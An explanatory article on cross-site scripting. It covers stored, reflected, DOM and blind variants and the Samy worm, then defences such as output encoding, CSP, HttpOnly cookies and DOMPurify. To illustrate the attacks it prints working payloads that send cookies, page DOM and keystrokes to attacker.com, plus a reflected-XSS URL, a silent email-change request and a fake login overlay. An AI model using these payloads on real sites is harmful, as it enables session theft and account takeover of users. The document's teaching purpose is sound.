What is Cross-Site Scripting (XSS)? The Attack That Turns Your Website Against Your Users

XSS injects malicious JavaScript into web pages served to other users — stealing sessions, redirecting to phishing pages, or silently exfiltrating data. It's been in the OWASP Top 10 since 2003. Here's every type, how each one works, and how to actually fix them.

In 2005, a 19-year-old named Samy Kamkar posted a MySpace profile with a hidden JavaScript payload. The script automatically added Samy as a friend for anyone who visited his page, then copied itself to their profile and added the text "but most of all, Samy is my hero." Within 20 hours, over one million MySpace accounts had been infected — the fastest-spreading computer worm in history at that point. MySpace went offline to contain it.

The Samy worm was cross-site scripting. Not a memory corruption exploit, not a kernel vulnerability — just JavaScript that MySpace failed to sanitize before rendering it in other users' browsers.

XSS has been on the OWASP Top 10 list of critical web application security risks since the list was first published. CodeRabbit's analysis found that AI-generated code contains 2.74 times more XSS vulnerabilities than human-written code. It's one of the oldest, best-documented, most-studied web vulnerabilities, and it's still appearing in production applications at scale in 2026.

The reason is the same as SQL injection: it's a consequence of treating user-supplied data as trusted code. The browser doesn't know the difference between JavaScript your application intentionally placed on a page and JavaScript an attacker injected into it. It runs all of it.

What XSS Actually Is

Cross-site scripting (XSS) is a vulnerability where an attacker injects malicious JavaScript into web pages viewed by other users. When the victim's browser renders the page, it executes the injected script with the same trust and permissions as the legitimate site's code.

That means the injected script can:

  • Steal the user's session cookie and hijack their account
  • Read everything on the page, including passwords being typed into forms
  • Redirect users to phishing pages that look identical to the real site
  • Make authenticated API requests as the user — silently, invisibly
  • Log every keystroke on the page
  • Modify page content to display fake messages, fake login forms, or attacker-controlled content
  • Use the victim's browser as a relay for attacks against internal networks

The severity depends entirely on what the application does. XSS in a cookie-recipe blog is an annoyance. XSS in an online banking portal is an account takeover vector.

There are three distinct types with different mechanics, different exploitation paths, and different defenses.

Stored XSS (Persistent)

Stored XSS happens when the application saves user input to a database and later renders it to other users without sanitization. The attacker's payload is stored server-side and delivered to every user who loads the affected page.

The setup: A comment field, a user profile bio, a product review, a chat message, a forum post — any place where user input gets stored and later displayed.

The payload:

<!-- Attacker submits this as their username/comment/message -->
<script>
  document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>

Every user who loads the page with this comment hits an automatic redirect that sends their session cookie to the attacker's server. One comment, unlimited victims, until someone notices and removes it.

More subtle — no redirect needed:

<!-- Invisible image tag that fires a request on load -->
<img src="x" onerror="
  fetch('https://attacker.com/log', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      url: window.location.href,
      dom: document.body.innerHTML
    })
  });
">

The onerror event fires when the fake image source fails to load (immediately, since x isn't a real URL). The attacker now has the user's cookie, the current URL, and the entire page DOM — including any sensitive data it contains.

Why stored XSS is the most dangerous variant: The attacker doesn't need to trick individual users into clicking a link. They post once. Everyone who visits the page is automatically compromised. Session cookies from authenticated users let attackers log in as those users. If the affected page is the admin panel, that's a full application compromise from a comment box.

Real example: The Samy worm was stored XSS. Every time a user viewed an infected MySpace profile, the worm copied itself to their profile automatically.

Reflected XSS (Non-Persistent)

Reflected XSS happens when the application takes user input from an HTTP request — a URL parameter, a form field, a search query — and immediately reflects it back in the response without sanitization. The payload isn't stored; it's delivered via a crafted URL.

The setup: A search page that echoes back the search term:

https://shop.example.com/search?q=shoes

The page renders: <p>Search results for: shoes</p>

The exploit:

https://shop.example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

When a victim clicks this link, the server reflects the script tag back in the HTML response, the browser renders it, and the script executes.

Delivery mechanism: Since the payload is in the URL, the attacker needs to get victims to click it. This is usually combined with:

  • Phishing emails: "Your order status has changed — click here to view"
  • Shortened URLs that hide the malicious query string
  • Links posted on forums, social media, or other sites the target frequents
  • Malicious ads that redirect through the vulnerable URL

The social engineering layer matters: Reflected XSS requires user interaction. The attacker sends a link to shop.example.com — a site the victim trusts — containing the malicious payload. The victim sees a domain they recognize, clicks, and the script executes in the context of that trusted origin.

This is why XSS is more dangerous than attackers just hosting malicious JavaScript on their own domains. Same-origin policy means a script on attacker.com can't read your shop.example.com cookies. But a script executing on shop.example.com — via XSS — absolutely can.

DOM-Based XSS

DOM-based XSS is the third type, and the one most developers don't know well enough. The crucial difference: the server never sees the malicious payload.

In reflected and stored XSS, the vulnerability is in server-side code that fails to sanitize before inserting into HTML. In DOM-based XSS, the vulnerability is in client-side JavaScript that takes data from an attacker-controllable source — the URL fragment, a cookie, localStorage, postMessage — and writes it to the DOM using an unsafe method.

The vulnerable code:

// Reads the URL fragment and writes it to the page
const search = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('results').innerHTML = 'You searched for: ' + search;

The exploit URL:

https://example.com/search#<img src=x onerror=alert(document.cookie)>

The # fragment is never sent to the server. The server logs show a perfectly normal request to /search. But the client-side JavaScript reads the fragment, passes it to innerHTML, and the browser executes it.

This is why server-side WAFs and input filters miss DOM XSS — they never see the payload. It's entirely a browser-side event.

The dangerous JavaScript sinks (methods/properties that can execute injected content):

// DANGEROUS — all of these can execute injected HTML/JS
element.innerHTML = userInput;          // Parses and renders HTML
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
eval(userInput);                        // Executes as code
setTimeout(userInput, 100);             // If passed a string
setInterval(userInput, 100);
new Function(userInput)();
window.location = userInput;            // If contains javascript:
element.src = userInput;                // Same
element.setAttribute('href', userInput);
 
// SAFE alternatives
element.textContent = userInput;        // Renders as text, never code
element.innerText = userInput;          // Same
element.setAttribute('data-x', userInput); // Safe for data attributes

The fix for DOM XSS is using safe sinks. If you need to write user content as text, use textContent. If you genuinely need to render HTML (you almost never do), use DOMPurify to sanitize it first.

Nobody Talks about Blind XSS Enough

Blind XSS is a subtype of stored XSS where the attacker's payload executes in a different context than where it was injected — usually a backend admin panel, a support ticket system, a log viewer, or any internal tool that displays user-submitted content.

An attacker submits a support ticket with XSS payload in the message body. The customer-facing system might properly sanitize output. But when a support agent opens that ticket in the internal admin panel — which maybe hasn't been as carefully reviewed — the payload executes in the agent's browser.

The agent likely has privileged access. Their session cookie lets an attacker access the admin panel. The entire attack surface of the application is now compromised from a support form input.

XSS Hunter is a tool specifically for discovering blind XSS — it generates unique payloads that phone home when they execute, telling you the URL where the execution happened, the victim's cookies, their IP, and a screenshot of the page. Security researchers and attackers alike use it to find admin panels and internal tooling that renders user content unsafely.

What XSS Can Do in Practice

Let's be concrete about the realistic attack scenarios:

Session hijacking — the classic attack:

// Exfiltrate the session cookie to attacker's server
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);

The attacker receives the cookie, loads it into their browser using DevTools, refreshes the page, and they're now logged in as the victim. If the cookie belongs to an admin, that's full application compromise.

Keylogger — capturing what users type:

document.addEventListener('keypress', function(e) {
  fetch('https://attacker.com/keys', {
    method: 'POST',
    body: JSON.stringify({ key: e.key, url: location.href })
  });
});

Every character typed on any page that loads this script is forwarded to the attacker. If the victim then navigates to a password reset form, bank transfer form, or any other sensitive input — it's all captured.

CSRF via XSS — making authenticated requests:

// Make an API request as the victim, using their session
fetch('/api/user/email', {
  method: 'POST',
  credentials: 'include',  // Sends the victim's cookies
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({ email: '[email protected]' })
});

The attacker changes the victim's email address silently. They then trigger a password reset to the new address and lock the victim out of their account.

Defacement and phishing overlays:

// Overlay a fake login form on top of the real page
document.body.innerHTML = `
  <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:99999">
    <h1>Your session has expired. Please log in again.</h1>
    <form id="phish">
      <input type="text" placeholder="Username">
      <input type="password" placeholder="Password">
      <button>Log In</button>
    </form>
  </div>
`;
document.getElementById('phish').addEventListener('submit', function(e) {
  e.preventDefault();
  // Send credentials to attacker
});

From the victim's perspective, they're on the legitimate site. The URL bar shows the real domain. But they're typing their credentials into an attacker-controlled form.

Some Ways to Prevent XSS

Primary defense: Output encoding. Encode all user-supplied data before rendering it in HTML. Every character that could be interpreted as HTML syntax must be converted to its HTML entity equivalent:

< → &lt;
> → &gt;
" → &quot;
' → &#x27;
& → &amp;
/ → &#x2F;

Every modern templating engine does this automatically when you use the right output method:

// React — automatically encodes everything in JSX expressions
// SAFE:
return <p>{userInput}</p>;
 
// UNSAFE — bypasses React's encoding:
return <p dangerouslySetInnerHTML={{ __html: userInput }} />;
 
// If you absolutely must use dangerouslySetInnerHTML, sanitize first:
import DOMPurify from 'dompurify';
return <p dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;
# Jinja2 (Python/Flask) — autoescaping enabled means this is safe:
{{ user_input }}  # Automatically HTML-encoded
 
# UNSAFE — the | safe filter disables autoescaping:
{{ user_input | safe }}  # Only use this for content you control and trust
// PHP — always use htmlspecialchars() when outputting user data
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
 
// Never do this:
echo $userInput;  // Raw output = XSS vulnerability

Context matters. The encoding strategy differs depending on where you're inserting user data:

<!-- HTML context: HTML entity encoding -->
<p>User said: &lt;script&gt;...&lt;/script&gt;</p>
 
<!-- HTML attribute context: attribute encoding -->
<input value="&quot;onclick=&quot;evil()">
 
<!-- JavaScript context: JavaScript encoding -->
<script>var name = "Trave\u006e";</script>
 
<!-- URL context: URL encoding -->
<a href="/search?q=hello%20world">
 
<!-- CSS context: CSS encoding (avoid user input in CSS entirely) -->

Getting the context wrong means even properly encoded data can be exploited. If you're inserting user data into a JavaScript string, HTML encoding alone isn't sufficient — you need JavaScript encoding. Use a library that handles context-aware encoding, not manual string replacement.

Content Security Policy (CSP): CSP is a browser mechanism that restricts which scripts can execute on your page. A strong CSP prevents injected scripts from running even if XSS exists in your code:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'

The nonce-{random} is a cryptographically random value generated fresh for each request. Scripts must include the matching nonce attribute to execute. An attacker who injects a <script> tag can't know the nonce — so even if injection succeeds, the script won't run.

A practical CSP for a modern web app:

# Nginx header
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM_NONCE}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
" always;

CSP has a learning curve and can break legitimate functionality if misconfigured. Start with Content-Security-Policy-Report-Only to see violations without blocking, fix them, then switch to enforcement.

HttpOnly cookies: Set the HttpOnly flag on session cookies. This prevents JavaScript from reading cookies via document.cookie, which breaks the most common XSS exploitation pattern (session theft):

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

This doesn't prevent XSS — it limits what XSS can do. The script still executes, it just can't steal that specific cookie. It can still make authenticated API requests, log keystrokes, and do most of what it wants. HttpOnly is not a fix; it's a speed bump.

DOM XSS specific: Audit every place your JavaScript reads from location.*, document.referrer, document.cookie, or any other user-controllable source and writes to a DOM sink. Replace innerHTML with textContent wherever the content is meant to be text. When dynamic HTML is unavoidable, use DOMPurify:

import DOMPurify from 'dompurify';
 
// Configure DOMPurify to your needs
const clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href'],
  ALLOWED_URI_REGEXP: /^https?:/  // Only allow http/https links
});
element.innerHTML = clean;

Finding XSS in Your Application

Manual testing: Insert a unique string like xsstest1234 into every input field, URL parameter, cookie value, and HTTP header your application processes. Search the rendered page source for where that string appears. For each location, determine the rendering context (HTML body, attribute, JavaScript string, URL). Then craft a payload appropriate for that context that would execute JavaScript.

Automated scanning: OWASP ZAP and Burp Suite both have XSS scanners. ZAP is free and integrates into CI pipelines. For DOM XSS specifically, Burp Suite's scanner handles JavaScript analysis. Neither tool will catch everything — manual review of JavaScript code for dangerous sinks is still required.

Browser DevTools for DOM XSS: Put alert(1) in URL parameters and fragments, open the browser console, and check if it fires. For persistent DOM XSS where data comes from storage rather than the URL, use the JavaScript debugger to trace data flow from sources to sinks.

The rule that catches most XSS before it ships: treat every value that touches user input as untrusted until it has been encoded for the specific context where it will be rendered. The encoding happens at output time, not input time. Sanitizing on the way in is insufficient because the same data might be rendered in multiple contexts with different requirements.

The Samy worm spread to a million accounts in 20 hours from a single profile. The input that caused it was a username field that MySpace failed to strip <script> tags from. Twenty years later, the same category of bug is still appearing in production code every day.